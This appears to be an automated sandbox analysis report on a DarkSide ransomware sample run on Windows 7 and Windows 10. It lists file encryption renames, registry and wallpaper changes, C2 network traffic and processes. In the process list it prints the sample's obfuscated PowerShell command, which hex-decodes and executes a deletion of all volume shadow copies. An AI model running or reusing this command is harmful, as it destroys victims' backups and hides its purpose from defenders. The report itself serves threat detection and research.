Analysis Overview
SHA256
bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0
Threat Level: Known bad
The file bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0 was found to be: Known bad.
Malicious Activity Summary
DarkSide
suricata: ET MALWARE Observed DarkSide Ransomware CnC Domain in TLS SNI
Modifies extensions of user files
Reads user/profile data of web browsers
Sets desktop wallpaper using registry
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of WriteProcessMemory
Modifies Control Panel
Modifies registry class
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2022-01-31 05:58
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2022-01-31 05:58
Reported
2022-01-31 08:05
Platform
win7-en-20211208
Max time kernel
122s
Max time network
141s
Command Line
Signatures
DarkSide
suricata: ET MALWARE Observed DarkSide Ransomware CnC Domain in TLS SNI
Modifies extensions of user files
| Description | Indicator | Process | Target |
| File renamed | C:\Users\Admin\Pictures\BlockRename.crw => C:\Users\Admin\Pictures\BlockRename.crw.27a6f0b5 | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| File opened for modification | C:\Users\Admin\Pictures\BlockRename.crw.27a6f0b5 | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\InstallUse.png => C:\Users\Admin\Pictures\InstallUse.png.27a6f0b5 | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| File opened for modification | C:\Users\Admin\Pictures\InstallUse.png.27a6f0b5 | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| File renamed | C:\Users\Admin\Pictures\ReceiveExport.png => C:\Users\Admin\Pictures\ReceiveExport.png.27a6f0b5 | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| File opened for modification | C:\Users\Admin\Pictures\ReceiveExport.png.27a6f0b5 | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
Reads user/profile data of web browsers
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\27a6f0b5.BMP" | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\27a6f0b5.BMP" | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
Modifies Control Panel
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2329389628-4064185017-3901522362-1000\Control Panel\Desktop\WallpaperStyle = "10" | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.27a6f0b5 | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.27a6f0b5\ = "27a6f0b5" | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\27a6f0b5\DefaultIcon | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\27a6f0b5 | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\27a6f0b5\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\27a6f0b5.ico" | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 732 wrote to memory of 1548 | N/A | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 732 wrote to memory of 1548 | N/A | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 732 wrote to memory of 1548 | N/A | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 732 wrote to memory of 1548 | N/A | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe
"C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | securebestapp20.com | udp |
| DE | 3.64.163.50:443 | securebestapp20.com | tcp |
| US | 8.8.8.8:53 | 6.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 35.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 24.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 3.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 1.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 16.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 40.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 52.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 60.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 71.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 4.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 27.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 68.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 72.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 85.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 100.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 61.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 63.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 112.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 65.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 30.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 69.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 32.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 36.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 46.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 75.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 77.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 79.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 82.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 81.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 83.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 86.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 87.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 90.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 89.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 94.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 91.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 102.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 106.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 93.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 110.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 8.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 101.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 10.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 105.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 12.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 111.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 113.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 14.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 117.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 20.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 121.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 22.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 123.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 34.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 127.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 5.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 7.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 9.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 13.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 17.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 23.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 25.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 33.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 31.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 39.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 37.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 41.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 45.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 47.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 49.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 53.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 51.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 57.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 118.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 99.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 54.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 107.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 109.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 64.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 115.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 76.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 119.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 80.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 125.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 84.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 108.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 96.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 92.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 126.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 38.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 44.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 62.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 66.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 70.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 78.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 114.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 116.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 42.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 124.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 122.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 120.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 190.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 128.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 148.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 212.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 145.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 154.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 170.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 214.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 130.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 216.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 220.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 132.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 224.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 136.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 236.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 140.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 244.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 142.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 129.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 144.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 146.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 141.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 150.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 149.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 175.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 158.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 177.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 185.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 164.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 193.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 168.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 201.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 205.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 174.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 178.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 182.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 153.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 186.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 155.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 135.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 159.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 192.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 161.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 163.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 165.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 246.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 169.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 248.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 138.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 188.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 173.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 184.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 180.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 187.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 176.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 191.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 166.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 195.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 199.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 162.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 160.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 203.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 156.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 151.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 147.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 143.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 139.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 137.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 131.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 250.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 242.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 230.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 226.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 218.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 210.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 206.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 202.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 194.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 204.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 200.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 235.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 252.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 234.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 181.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 254.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 189.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 222.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 249.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 253.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 167.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 245.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 225.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 179.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 211.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 219.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 221.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 233.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 243.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 247.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 213.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 227.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 231.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 223.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 239.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 207.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 215.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 229.0.127.10.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 251.0.127.10.in-addr.arpa | udp |
| DE | 3.64.163.50:443 | securebestapp20.com | tcp |
| US | 8.8.8.8:53 | www.microsoft.com | udp |
Files
memory/732-55-0x00000000763B1000-0x00000000763B3000-memory.dmp
memory/1548-56-0x000007FEFC241000-0x000007FEFC243000-memory.dmp
memory/1548-58-0x00000000028F0000-0x00000000028F2000-memory.dmp
memory/1548-59-0x00000000028F2000-0x00000000028F4000-memory.dmp
memory/1548-60-0x00000000028F4000-0x00000000028F7000-memory.dmp
memory/1548-57-0x000007FEF29B0000-0x000007FEF350D000-memory.dmp
memory/1548-61-0x00000000028FB000-0x000000000291A000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | e20fb51760527cc6f1a87b3a4acdb8bc |
| SHA1 | 9b617856ada67a2f8ce936a04323aac5b8ae310d |
| SHA256 | 3ea9b863617c7b9f263d0d929280a70f4a922a97d9237d56905e20a521f07a9e |
| SHA512 | 83ac1fbbcf25ed648f3fca346acf7428f8f624010b97ede3ab9baa2d2c188ea3f25ea9133e86eb32d3fc93431cb84a6fe81715f3c7ae9beb89d467c19087de40 |
Analysis: behavioral2
Detonation Overview
Submitted
2022-01-31 05:58
Reported
2022-01-31 08:05
Platform
win10-en-20211208
Max time kernel
127s
Max time network
173s
Command Line
Signatures
DarkSide
suricata: ET MALWARE Observed DarkSide Ransomware CnC Domain in TLS SNI
Modifies extensions of user files
Reads user/profile data of web browsers
Sets desktop wallpaper using registry
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\82ee2099.BMP" | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\82ee2099.BMP" | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
Modifies Control Panel
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-369956170-74428499-1628131376-1000\Control Panel\Desktop\WallpaperStyle = "10" | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\82ee2099\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\82ee2099.ico" | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.82ee2099 | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.82ee2099\ = "82ee2099" | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\82ee2099\DefaultIcon | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\82ee2099 | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3616 wrote to memory of 4336 | N/A | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 3616 wrote to memory of 4336 | N/A | C:\Users\Admin\AppData\Local\Temp\bac2149254f5ce314bab830f574e16c9d67e81985329619841431034c31646e0.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
